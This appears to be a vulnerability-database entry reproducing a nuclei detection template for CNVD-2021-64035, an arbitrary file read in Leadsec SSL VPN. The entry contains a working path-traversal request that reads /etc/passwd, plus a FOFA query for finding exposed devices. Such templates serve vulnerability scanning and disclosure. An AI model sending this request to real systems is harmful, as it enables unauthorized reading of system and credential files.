CNVD-2021-64035: Leadsec VPN - Arbitrary File Read

2025-08-01 Leadsec VPN PoC Public

Description

There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.

PoC

id: CNVD-2021-64035

info:
  name: Leadsec VPN - Arbitrary File Read
  author: xiaoWangSec
  severity: high
  description: |
    There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.
  reference:
    - https://avd.aliyun.com/detail?id=AVD-2021-888761
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-64035
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-15980305"
  tags: cnvd,cnvd2024,lfi,leadsec,vpn,vuln

http:
  - raw:
      - |
        GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "appframe"

      - type: status
        status:
          - 200
# digest: 490a00463044022020cd75e102af386029e06e2a720054aa5d7ab349bcce542ec8e80159385eac4802202dfb2744f0b2a10eb3fb7db7a0bcfad50d7162b28d4816cf957b1c71b9fdec39:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cnvd/2021/CNVD-2021-64035.yaml

References

Related Vulnerabilities